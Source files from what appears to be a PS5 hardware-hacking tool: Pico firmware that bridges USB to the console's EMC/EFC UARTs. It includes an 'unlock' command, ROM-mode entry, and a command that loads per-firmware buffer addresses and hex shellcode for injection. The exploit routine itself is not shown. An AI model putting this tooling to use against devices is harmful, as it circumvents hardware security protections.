| chip_consts_ = salina_consts_; 792 | return success; 793 | } else if (chip == "salina2") { 794 | chip_consts_ = salina2_consts_; 795 | return success; 796 | } 797 | return ng; 798 | } else if (num_parts == 4) { 799 | const auto filler_multiplier = int_from_hex(parts[1]); 800 | const auto post_process_ms = int_from_hex(parts[2]); 801 | const auto pwn_delay_us = int_from_hex(parts[3]); 802 | if (!filler_multiplier || !post_process_ms || !pwn_delay_us) { 803 | return ng; 804 | } 805 | chip_consts_ = {.filler_multiplier = *filler_multiplier, 806 | .post_process_ms = *post_process_ms, 807 | .pwn_delay_us = *pwn_delay_us}; 808 | return success; 809 | } 810 | return ng; 811 | } 812 | 813 | Result set_fw_consts(const std::string& cmd) { 814 | const auto ng = Result::new_ng(StatusCode::kFwConstsInvalid); 815 | const auto parts = split_string(cmd, ' '); 816 | if (parts.size() != 4) { 817 | return ng; 818 | } 819 | auto version = parts[1]; 820 | std::replace_if( 821 | version.begin(), version.end(), [](auto c) { return c == '.'; }, ' '); 822 | const auto buf_addr = int_from_hex(parts[2]); 823 | std::vector shellcode; 824 | if (!buf_addr.has_value() || !hex2buf(parts[3], &shellcode)) { 825 | return ng; 826 | } 827 | fw_constants_map.insert_or_assign(version, 828 | FwConstants{ 829 | .ucmd_ua_buf_addr = buf_addr.value(), 830 | .shellcode = shellcode, 831 | }); 832 | fw_consts_valid_ = false; 833 | fw_consts_ = {}; 834 | return Result::new_success(); 835 | } 836 | 837 | Result rom_enter_exit(const std::string& cmd) { 838 | const auto ng = Result::new_ng(StatusCode::kUcmdUnknownCmd); 839 | const auto parts = split_string(cmd, ' '); 840 | if (parts.size() != 2) { 841 | return ng; 842 | } 843 | const auto mode = parts[1]; 844 | if (mode == "enter") { 845 | reset_.set_low(); 846 | const auto reset_release = make_timeout_time_us(100); 847 | rom_gpio_.set_low(); 848 | 849 | uart_.set_baudrate(460800); 850 | uart_rx_.clear(); 851 | 852 | busy_wait_until(reset_release); 853 | in_rom_ = true; 854 | reset_.release(); 855 | 856 | return Result::new_success(); 857 | } else if (mode == "exit") { 858 | reset_.set_low(); 859 | const auto reset_release = make_timeout_time_us(100); 860 | rom_gpio_.release(); 861 | 862 | uart_.set_baudrate(115200); 863 | uart_rx_.clear(); 864 | 865 | busy_wait_until(reset_release); 866 | in_rom_ = false; 867 | reset_.release(); 868 | 869 | return Result::new_success(); 870 | } 871 | return ng; 872 | } 873 | 874 | enum CommandType { 875 | kUnlock, 876 | kPicoReset, 877 | kEmcReset, 878 | kEmcRom, 879 | kSetFwConsts, 880 | kSetChipConsts, 881 | kPassthroughUcmd, 882 | kPassthroughRom, 883 | }; 884 | 885 | CommandType parse_command_type(std::string_view cmd) { 886 | if (cmd.starts_with("unlock")) { 887 | return CommandType::kUnlock; 888 | } else if (cmd.starts_with("picoreset")) { 889 | return CommandType::kPicoReset; 890 | } else if (cmd.starts_with("picoemcreset")) { 891 | return CommandType::kEmcReset; 892 | } else if (cmd.starts_with("picoemcrom")) { 893 | return CommandType::kEmcRom; 894 | } else if (cmd.starts_with("picofwconst")) { 895 | return CommandType::kSetFwConsts; 896 | } else if (cmd.starts_with("picochipconst")) { 897 | return CommandType::kSetChipConsts; 898 | } else if (in_rom_) { 899 | return CommandType::kPassthroughRom; 900 | } else { 901 | return CommandType::kPassthroughUcmd; 902 | } 903 | } 904 | 905 | void process_cmd(u8 itf, const std::string& cmd) { 906 | dbg_println(std::format("host>{}", cmd)); 907 | const auto cmd_type = parse_command_type(cmd); 908 | if (cmd_type == CommandType::kPassthroughUcmd) { 909 | // post cmd only - no wait 910 | cmd_send(cmd, false); 911 | } else if (cmd_type == CommandType::kPassthroughRom) { 912 | // note we can't have "true" passthrough because we're still line buffered 913 | // we used hex encoding to avoid escaping \n 914 | std::vector buf; 915 | if (hex2buf(cmd, &buf)) { 916 | uart_.write_blocking(buf.data(), buf.size(), false); 917 | } 918 | } else { 919 | // echo 920 | cdc_write(itf, Result::new_unknown(cmd).to_usb_response()); 921 | 922 | auto result = Result::new_success(); 923 | switch (cmd_type) { 924 | case CommandType::kUnlock: 925 | // autorun takes ~750ms 926 | result = autorun(); 927 | break; 928 | case CommandType::kPicoReset: 929 | reset_usb_boot(0, 0); 930 | __builtin_unreachable(); 931 | break; 932 | case CommandType::kEmcReset: 933 | reset_.reset(); 934 | break; 935 | case CommandType::kEmcRom: 936 | result = rom_enter_exit(cmd); 937 | break; 938 | case CommandType::kSetFwConsts: 939 | result = set_fw_consts(cmd); 940 | break; 941 | case CommandType::kSetChipConsts: 942 | result = set_chip_consts(cmd); 943 | break; 944 | default: 945 | result = Result::new_ng(StatusCode::kUcmdUnknownCmd); 946 | break; 947 | } 948 | cdc_write(itf, result.to_usb_response()); 949 | } 950 | } 951 | 952 | Uart uart_; 953 | static Buffer1k uart_rx_; 954 | ChipConsts chip_consts_{salina_consts_}; 955 | bool fw_consts_valid_{}; 956 | FwConstants fw_consts_; 957 | static constexpr const char hax_cmd_name_[] = "A"; 958 | EmcResetGpio reset_; 959 | ActiveLowGpio rom_gpio_; 960 | bool in_rom_{}; 961 | }; 962 | Buffer1k UcmdClientEmc::uart_rx_; 963 | 964 | struct Efc { 965 | bool init() { 966 | uart_rx_.setup_irq(&uart_); 967 | if (!uart_.init(1, 460800 /*700000*/, rx_handler)) { 968 | return false; 969 | } 970 | return true; 971 | } 972 | static void rx_handler() { uart_rx_.uart_rx_handler(); } 973 | void cdc_process(u8 itf, u32 max_time_us = 1'000) { 974 | cdc_line_coding_t coding{}; 975 | tud_cdc_n_get_line_coding(itf, &coding); 976 | uart_.set_baudrate(coding.bit_rate); 977 | 978 | const u32 start = time_us_32(); 979 | do { 980 | const auto read_avail = static_cast(uart_rx_.read_available()); 981 | const u32 write_avail = tud_cdc_n_write_available(itf); 982 | const auto xfer_len = std::min(read_avail, write_avail); 983 | if (!xfer_len) { 984 | break; 985 | } 986 | std::vector buf(xfer_len); 987 | uart_rx_.read_buf(buf.data(), buf.size()); 988 | u32 num_written = 0; 989 | while (tud_cdc_n_connected(itf) && num_written < xfer_len) { 990 | num_written += 991 | tud_cdc_n_write(itf, &buf[num_written], xfer_len - num_written); 992 | } 993 | if (!tud_cdc_n_connected(itf)) { 994 | return; 995 | } 996 | tud_cdc_n_write_flush(itf); 997 | } while (time_us_32() - start < max_time_us); 998 | } 999 | Uart uart_; 1000 | static Buffer1k uart_rx_; 1001 | }; 1002 | Buffer1k Efc::uart_rx_; 1003 | 1004 | static constexpr tusb_desc_device_t s_usbd_desc_device = { 1005 | .bLength = sizeof(tusb_desc_device_t), 1006 | .bDescriptorType = TUSB_DESC_DEVICE, 1007 | .bcdUSB = 0x0200, 1008 | .bDeviceClass = TUSB_CLASS_MISC, 1009 | .bDeviceSubClass = MISC_SUBCLASS_COMMON, 1010 | .bDeviceProtocol = MISC_PROTOCOL_IAD, 1011 | .bMaxPacketSize0 = CFG_TUD_ENDPOINT0_SIZE, 1012 | .idVendor = 0x2E8A, 1013 | .idProduct = 0x5000, 1014 | .bcdDevice = 0x0100, 1015 | .iManufacturer = 1, 1016 | .iProduct = 2, 1017 | .iSerialNumber = 0, 1018 | .bNumConfigurations = 1, 1019 | }; 1020 | 1021 | static const std::u16string s_string_descs[]{ 1022 | {0x0409}, 1023 | u"symbrkrs", 1024 | u"ps5 salina/titania uart", 1025 | }; 1026 | 1027 | enum { 1028 | ITF_NUM_CDC_0 = 0, 1029 | ITF_NUM_CDC_0_DATA, // this is copied from sdk. do we really need _DATA? 1030 | ITF_NUM_CDC_1, 1031 | ITF_NUM_CDC_1_DATA, 1032 | #ifdef ENABLE_DEBUG_STDIO 1033 | ITF_NUM_CDC_2, 1034 | ITF_NUM_CDC_2_DATA, 1035 | #endif 1036 | ITF_NUM_TOTAL 1037 | }; 1038 | 1039 | consteval u8 ep_addr(u8 num, tusb_dir_t dir) { 1040 | return ((dir == TUSB_DIR_IN) ? 0x80 : 0) | num; 1041 | } 1042 | 1043 | enum : u8 { 1044 | EP_NUM_NOTIF_0 = 1, 1045 | EP_NUM_DATA_0, 1046 | EP_NUM_NOTIF_1, 1047 | EP_NUM_DATA_1, 1048 | #ifdef ENABLE_DEBUG_STDIO 1049 | EP_NUM_NOTIF_2, 1050 | EP_NUM_DATA_2, 1051 | #endif 1052 | }; 1053 | 1054 | #define CDC_DESCRIPTOR(num) \ 1055 | TUD_CDC_DESCRIPTOR( \ 1056 | ITF_NUM_CDC_##num, 0, ep_addr(EP_NUM_NOTIF_##num, TUSB_DIR_IN), 8, \ 1057 | ep_addr(EP_NUM_DATA_##num, TUSB_DIR_OUT), \ 1058 | ep_addr(EP_NUM_DATA_##num, TUSB_DIR_IN), TUSB_EPSIZE_BULK_FS) 1059 | 1060 | #define USBD_DESC_LEN (TUD_CONFIG_DESC_LEN + TUD_CDC_DESC_LEN * CFG_TUD_CDC) 1061 | 1062 | #ifdef ENABLE_DEBUG_STDIO 1063 | // 0 is taken by pico_stdio_usb 1064 | #define CDC_INTERFACE_START 1 1065 | #else 1066 | #define CDC_INTERFACE_START 0 1067 | #endif 1068 | #define CDC_INTERFACE_EMC CDC_INTERFACE_START 1069 | // TODO support both EFC uarts (use pio for emc?) 1070 | #define CDC_INTERFACE_EFC (CDC_INTERFACE_START + 1) 1071 | 1072 | static constexpr u8 s_config_desc[USBD_DESC_LEN] = { 1073 | TUD_CONFIG_DESCRIPTOR(1, ITF_NUM_TOTAL, 0, USBD_DESC_LEN, 0, 100), 1074 | CDC_DESCRIPTOR(0), 1075 | CDC_DESCRIPTOR(1), 1076 | #ifdef ENABLE_DEBUG_STDIO 1077 | CDC_DESCRIPTOR(2), 1078 | #endif 1079 | }; 1080 | 1081 | extern "C" { 1082 | uint8_t const* tud_descriptor_device_cb() { 1083 | return reinterpret_cast(&s_usbd_desc_device); 1084 | } 1085 | 1086 | uint8_t const* tud_descriptor_configuration_cb(uint8_t index) { 1087 | return s_config_desc; 1088 | } 1089 | 1090 | uint16_t const* tud_descriptor_string_cb(uint8_t index, uint16_t langid) { 1091 | static uint16_t s_string_desc_buf[1 + 64]; 1092 | constexpr size_t max_bytelen = 1093 | sizeof(s_string_desc_buf) - offsetof(tusb_desc_string_t, unicode_string); 1094 | auto string_desc = reinterpret_cast(&s_string_desc_buf); 1095 | string_desc->bDescriptorType = TUSB_DESC_STRING; 1096 | string_desc->bLength = 0; 1097 | 1098 | if (index < std::size(s_string_descs)) { 1099 | auto& desc = s_string_descs[index]; 1100 | auto desc_len = desc.size() + 1; 1101 | auto desc_bytelen = desc_len * sizeof(desc[0]); 1102 | if (desc_bytelen <= max_bytelen) { 1103 | std::memcpy(string_desc->unicode_string, desc.c_str(), desc_bytelen); 1104 | string_desc->bLength = desc_bytelen; 1105 | } 1106 | } 1107 | 1108 | return s_string_desc_buf; 1109 | } 1110 | } 1111 | 1112 | static UcmdClientEmc s_emc; 1113 | static Efc s_efc; 1114 | 1115 | // tinyusb already double buffers: first into EP 1116 | // buffer(size=CFG_TUD_CDC_EP_BUFSIZE), then a 1117 | // ringbuffer(CFG_TUD_CDC_RX_BUFSIZE). 1118 | // There is tud_cdc_n_set_wanted_char/tud_cdc_rx_wanted_cb, but the api kinda 1119 | // sucks as you'll have to rescan the fifo for the wanted_char (after tinyusb 1120 | // already scanned). Oh well. 1121 | void tud_cdc_rx_wanted_cb(u8 itf, char wanted_char) { 1122 | // emc considers \n as end of cmd (configurable). echos input 1123 | // efc considers \r as end of cmd. echos \r\n for input \r 1124 | 1125 | // emc interface makes assumption that multiple cmds will not be in tinyusb rx 1126 | // ringbuffer simultaneously. this sucks but should be fine in practice. 1127 | 1128 | if (itf != CDC_INTERFACE_EMC) { 1129 | return; 1130 | } 1131 | // emc - line buffer 1132 | const u32 avail = tud_cdc_n_available(itf); 1133 | std::string line(avail, '\0'); 1134 | if (tud_cdc_n_read(itf, line.data(), avail) == avail) { 1135 | line.resize(line.find_first_of(wanted_char)); 1136 | s_emc.process_cmd(itf, line); 1137 | } 1138 | } 1139 | 1140 | // efc - passthrough 1141 | void tud_cdc_rx_cb(u8 itf) { 1142 | if (itf != CDC_INTERFACE_EFC) { 1143 | return; 1144 | } 1145 | const u32 avail = tud_cdc_n_available(itf); 1146 | std::vector buf(avail); 1147 | if (tud_cdc_n_read(itf, buf.data(), avail) == avail) { 1148 | s_efc.uart_.write_blocking(buf.data(), avail, false); 1149 | } 1150 | } 1151 | 1152 | int main() { 1153 | if (!tusb_init()) { 1154 | return 1; 1155 | } 1156 | 1157 | #ifdef ENABLE_DEBUG_STDIO 1158 | if (!stdio_usb_init()) { 1159 | return 1; 1160 | } 1161 | #endif 1162 | 1163 | if (!s_emc.init()) { 1164 | return 1; 1165 | } 1166 | if (!s_efc.init()) { 1167 | return 1; 1168 | } 1169 | 1170 | // setup for emc to use tud_cdc_rx_wanted_cb 1171 | tud_cdc_n_set_wanted_char(CDC_INTERFACE_EMC, '\n'); 1172 | 1173 | while (true) { 1174 | // let tinyusb process events 1175 | // will call into the usb -> uart path 1176 | tud_task(); 1177 | 1178 | // uart -> usb 1179 | s_emc.cdc_process(CDC_INTERFACE_EMC); 1180 | s_efc.cdc_process(CDC_INTERFACE_EFC); 1181 | 1182 | if (get_bootsel_button()) { 1183 | reset_usb_boot(0, 0); 1184 | } 1185 | } 1186 | return 0; 1187 | } 1188 | -------------------------------------------------------------------------------- /uart/string_utils.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | // #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #include "types.h" 12 | 13 | /* 14 | inline void hexdump(const u8* buf, size_t len) { 15 | for (size_t i = 0; i < len; i++) { 16 | const bool is_last = i + 1 == len; 17 | const bool needs_newline = (i + 1) % 16 == 0; 18 | printf("%02x%c", buf[i], (is_last || needs_newline) ? '\n' : ' '); 19 | } 20 | } 21 | //*/ 22 | 23 | std::string buf2hex(const std::vector& buf) { 24 | std::string str; 25 | static const char lut[] = "0123456789ABCDEF"; 26 | for (auto& b : buf) { 27 | char hi = lut[b >> 4]; 28 | char lo = lut[b & 0xf]; 29 | str.push_back(hi); 30 | str.push_back(lo); 31 | } 32 | return str; 33 | } 34 | 35 | bool hex2nibble(char c, u8* nibble) { 36 | if (c >= '0' && c <= '9') { 37 | *nibble = c - '0'; 38 | } else if (c >= 'a' && c <= 'f') { 39 | *nibble = 10 + (c - 'a'); 40 | } else if (c >= 'A' && c <= 'F') { 41 | *nibble = 10 + (c - 'A'); 42 | } else { 43 | return false; 44 | } 45 | return true; 46 | } 47 | 48 | bool hex2buf(std::string_view str, std::vector* buf) { 49 | *buf = {}; 50 | if (str.size() & 1) { 51 | return false; 52 | } 53 | for (size_t i = 0; i < str.size(); i += 2) { 54 | u8 h, l; 55 | if (!hex2nibble(str[i], &h)) { 56 | return false; 57 | } 58 | if (!hex2nibble(str[i + 1], &l)) { 59 | return false; 60 | } 61 | buf->push_back((h << 4) | l); 62 | } 63 | return true; 64 | } 65 | 66 | std::string string_from_hex(std::string_view hex) { 67 | std::vector buf; 68 | if (!hex2buf(hex, &buf)) { 69 | return {}; 70 | } 71 | size_t len = 0; 72 | for (auto& b : buf) { 73 | if (!b) { 74 | break; 75 | } 76 | len++; 77 | } 78 | return std::string(reinterpret_cast(buf.data()), len); 79 | } 80 | 81 | template 82 | std::optional int_from_hex(std::string_view str, size_t offset = 0) { 83 | T val; 84 | if (std::from_chars(&str[offset], &str[str.size()], val, 16).ec != 85 | std::errc{}) { 86 | return {}; 87 | } 88 | return val; 89 | } 90 | 91 | void strip_trailing_crlf(std::string* str) { 92 | while (str->back() == '\n' || str->back() == '\r') { 93 | str->pop_back(); 94 | } 95 | } 96 | 97 | std::vector split_string(const std::string& str, char delim) { 98 | std::istringstream istr(str); 99 | std::vector rv; 100 | std::string s; 101 | while (std::getline(istr, s, delim)) { 102 | rv.push_back(s); 103 | } 104 | return rv; 105 | } 106 | -------------------------------------------------------------------------------- /uart/types.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | using u8 = uint8_t; 6 | using u16 = uint16_t; 7 | using u32 = uint32_t; 8 | using u64 = uint64_t; 9 | using s8 = int8_t; 10 | using s16 = int16_t; 11 | using s32 = int32_t; 12 | using s64 = int64_t; 13 | -------------------------------------------------------------------------------- /uart/uart.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | 7 | #include "types.h" 8 | 9 | class Uart { 10 | public: 11 | ~Uart() { deinit(); } 12 | 13 | bool init(uint instance, uint baudrate, irq_handler_t rx_handler) { 14 | // Only hw uarts 15 | if (instance >= NUM_UARTS) { 16 | return false; 17 | } 18 | // uart0 could be mapped to {0,1}, {12,13}, {16,17} 19 | // uart1 could be mapped to {4,5}, {8,9} 20 | // just choose some defaults here. 21 | struct { 22 | uint tx, rx; 23 | } const gpios[NUM_UARTS]{ 24 | {0, 1}, 25 | {8, 9}, 26 | }; 27 | // Must be done before uart_init 28 | gpio_set_function(gpios[instance].tx, GPIO_FUNC_UART); 29 | gpio_set_function(gpios[instance].rx, GPIO_FUNC_UART); 30 | 31 | uart_ = uart_get_instance(instance); 32 | // Reset the hw and configure as 8n1 with given baudrate 33 | // Note: default setup of crlf translation is: 34 | // PICO_UART_ENABLE_CRLF_SUPPORT=1,PICO_UART_DEFAULT_CRLF=0 (compiled in but 35 | // disabled) 36 | if (!uart_init(uart_, baudrate)) { 37 | return false; 38 | } 39 | baudrate_ = baudrate; 40 | 41 | const uint irq = (instance == 0) ? UART0_IRQ : UART1_IRQ; 42 | irq_set_exclusive_handler(irq, rx_handler); 43 | irq_set_enabled(irq, true); 44 | uart_set_irq_enables(uart_, true, false); 45 | 46 | return true; 47 | } 48 | 49 | void set_baudrate(uint baudrate) { 50 | if (baudrate_ != baudrate) { 51 | uart_set_baudrate(uart_, baudrate); 52 | baudrate_ = baudrate; 53 | } 54 | } 55 | 56 | void rx_irq_enable(bool enable) const { 57 | uart_set_irq_enables(uart_, enable, false); 58 | } 59 | 60 | template 61 | void try_read(T callback) const { 62 | // pico_stdio_uart toggles irq enables here(on irq path)...is it really 63 | // required? 64 | rx_irq_enable(false); 65 | while (uart_is_readable(uart_)) { 66 | callback(read_dr()); 67 | } 68 | rx_irq_enable(true); 69 | } 70 | 71 | void write_blocking(const u8* data, size_t len, bool wait_tx = true) const { 72 | // Note this waits until data is sent to uart - not until tx fifo is drained 73 | uart_write_blocking(uart_, data, len); 74 | if (wait_tx) { 75 | // Wait for data to be sent on wire 76 | uart_tx_wait_blocking(uart_); 77 | } 78 | } 79 | 80 | private: 81 | void deinit() { 82 | if (uart_) { 83 | uart_deinit(uart_); 84 | uart_ = {}; 85 | } 86 | } 87 | 88 | u8 read_dr() const { 89 | const auto dr = uart_get_hw(uart_)->dr; 90 | /* 91 | constexpr u32 err_bits = UART_UARTDR_FE_BITS | UART_UARTDR_PE_BITS | 92 | UART_UARTDR_BE_BITS | UART_UARTDR_OE_BITS; 93 | const auto dr_err = dr & err_bits; 94 | if (dr_err) { 95 | printf("read_dr err %lx\n", dr_err); 96 | } 97 | //*/ 98 | return dr & UART_UARTDR_DATA_BITS; 99 | } 100 | 101 | uart_inst_t* uart_{}; 102 | uint baudrate_{}; 103 | }; 104 | --------------------------------------------------------------------------------